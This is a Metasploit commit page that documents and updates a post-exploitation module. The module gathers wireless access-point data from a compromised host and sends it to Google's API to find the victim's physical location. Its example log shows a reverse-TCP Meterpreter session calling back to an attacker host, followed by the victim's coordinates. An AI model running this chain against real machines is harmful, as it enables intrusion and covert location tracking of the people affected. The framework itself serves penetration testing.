Skip to content

Commit b7e209a

Browse files
author
Brent Cook
committed
Land rapid7#9033, Geolocate API update
2 parents 7400082 + c5cc2f8 commit b7e209a

File tree

3 files changed

+90
-16
lines changed

3 files changed

+90
-16
lines changed
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
## Creating A Testing Environment
2+
3+
For this module to work you need a box with a wireless adapter. The following methods are used to gather
4+
wireless information from the host:
5+
6+
- Windows: `netsh wlan show networks mode=bssid`
7+
- OSX: `/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s`
8+
- Linux: `iwlist scanning`
9+
- Solaris: `dladm scan-wifi`
10+
- BSD: `dmesg | grep -i wlan | cut -d ':' -f1 | uniq"`
11+
12+
If `GEOLOCATE` is set to true, Google's [GeoLocation APIs](https://developers.google.com/maps/documentation/geolocation/intro) are utilized.
13+
These APIs require a Google [API key](https://developers.google.com/maps/documentation/geolocation/get-api-key) to use them. The original
14+
methodology used by this module in [#3280](https://github.com/rapid7/metasploit-framework/pull/3280),
15+
which didn't require an API key, was found to no longer work in [#8928](https://github.com/rapid7/metasploit-framework/issues/8928).
16+
17+
## Verification Steps
18+
19+
1. Start msfconsole
20+
2. Obatin a meterpreter session via whatever method
21+
3. Do: `use post/multi/gather/wlan_geolocate`
22+
4. Do: `set session #`
23+
5. Do: `set apikey [key]`
24+
5. Do: `run`
25+
26+
## Options
27+
28+
**geolocate**
29+
30+
A boolean on if wireless information should only be gathered, or the Google geolocate API should be used to geo the victim. Defaults to `false`
31+
32+
**apikey**
33+
34+
A string containing the Google provided geolocation api key. **REQUIRED** if `geolocate` is set to true. Defaults to empty string
35+
36+
## Scenarios
37+
38+
### Windows 10
39+
40+
resource (met_rev.rc)> use exploit/multi/handler
41+
resource (met_rev.rc)> set payload windows/meterpreter/reverse_tcp
42+
payload => windows/meterpreter/reverse_tcp
43+
resource (met_rev.rc)> setg lhost 2.2.2.2
44+
lhost => 2.2.2.2
45+
resource (met_rev.rc)> set lport 9876
46+
lport => 9876
47+
resource (met_rev.rc)> setg verbose true
48+
verbose => true
49+
resource (met_rev.rc)> exploit
50+
[*] Exploit running as background job 0.
51+
[*] Started reverse TCP handler on 2.2.2.2:9876
52+
[*] Sending stage (179267 bytes) to 1.1.1.1
53+
[*] Meterpreter session 1 opened (2.2.2.2:9876 -> 1.1.1.1:16111) at 2017-10-01 19:27:15 -0400
54+
55+
resource (met_rev.rc)> use post/multi/gather/wlan_geolocate
56+
resource (met_rev.rc)> set geolocate true
57+
geolocate => true
58+
resource (met_rev.rc)> set session 1
59+
session => 1
60+
resource (met_rev.rc)> set apikey ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12
61+
apikey => ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12
62+
msf post(wlan_geolocate) > run
63+
[+] Wireless list saved to loot.
64+
[*] Google indicates the device is within 30.0 meters of 30.3861197,-97.7385878.
65+
[*] Google Maps URL: https://maps.google.com/?q=30.3861197,-97.7385878
66+
[*] Post module execution completed

lib/rex/google/geolocation.rb

Lines changed: 16 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,12 @@ module Rex
77
module Google
88
# @example
99
# g = Rex::Google::Geolocation.new
10+
# g.set_api_key('example')
1011
# g.add_wlan("00:11:22:33:44:55", "example", -80)
1112
# g.fetch!
1213
# puts g, g.google_maps_url
1314
class Geolocation
14-
GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&"
15+
GOOGLE_API_URI = "https://www.googleapis.com/geolocation/v1/geolocate?key="
1516

1617
attr_accessor :accuracy
1718
attr_accessor :latitude
@@ -24,36 +25,39 @@ def initialize
2425

2526
# Ask Google's Maps API for the location of a given set of BSSIDs (MAC
2627
# addresses of access points), ESSIDs (AP names), and signal strengths.
27-
def fetch!
28-
@uri.query << @wlan_list.take(10).join("&wifi=")
29-
request = Net::HTTP::Get.new(@uri.request_uri)
28+
def fetch!
29+
request = Net::HTTP::Post.new(@uri.request_uri)
30+
request.body = {'wifiAccessPoints' => @wlan_list}.to_json
31+
request['Content-Type'] = 'application/json'
3032
http = Net::HTTP.new(@uri.host, @uri.port)
3133
http.use_ssl = true
3234
response = http.request(request)
3335

36+
msg = "Failure connecting to Google for location lookup."
3437
if response && response.code == '200'
3538
results = JSON.parse(response.body)
3639
self.latitude = results["location"]["lat"]
3740
self.longitude = results["location"]["lng"]
3841
self.accuracy = results["accuracy"]
42+
elsif response && response.body && response.code != '404' # we can json load and get a good error message
43+
msg += " Code #{results['error']['code']} for query #{@uri} with error #{results['error']['message']}"
44+
fail msg
3945
else
40-
msg = "Failure connecting to Google for location lookup."
4146
msg += " Code #{response.code} for query #{@uri}" if response
4247
fail msg
4348
end
4449
end
4550

4651
# Add an AP to the list to send to Google when {#fetch!} is called.
4752
#
48-
# Turns out Google's API doesn't really care about ESSID or signal strength
49-
# as long as you have BSSIDs. Presumably adding them will make it more
50-
# accurate? Who knows.
51-
#
5253
# @param mac [String] in the form "00:11:22:33:44:55"
53-
# @param ssid [String] ESSID associated with the mac
5454
# @param signal_strength [String] a thing like
55-
def add_wlan(mac, ssid = nil, signal_strength = nil)
56-
@wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}"))
55+
def add_wlan(mac, signal_strength)
56+
@wlan_list.push({ :macAddress => mac.upcase.to_s, :signalStrength => signal_strength.to_s })
57+
end
58+
59+
def set_api_key(key)
60+
@uri = URI.parse(URI.encode(GOOGLE_API_URI + key))
5761
end
5862

5963
def google_maps_url

modules/post/multi/gather/wlan_geolocate.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,8 @@ def initialize(info={})
2121

2222
register_options(
2323
[
24-
OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false])
24+
OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),
25+
OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),
2526
])
2627

2728
end
@@ -83,13 +84,16 @@ def parse_wireless_osx(listing)
8384

8485
def perform_geolocation(wlan_list)
8586
if wlan_list.blank?
86-
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
87+
print_error('Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.')
88+
return
89+
elsif datastore['APIKEY'].empty?
90+
print_error("Google API key is required.")
8791
return
8892
end
8993
g = Rex::Google::Geolocation.new
90-
94+
g.set_api_key(datastore['APIKEY'])
9195
wlan_list.each do |wlan|
92-
g.add_wlan(*wlan)
96+
g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
9397
end
9498

9599
begin

0 commit comments

Comments
 (0)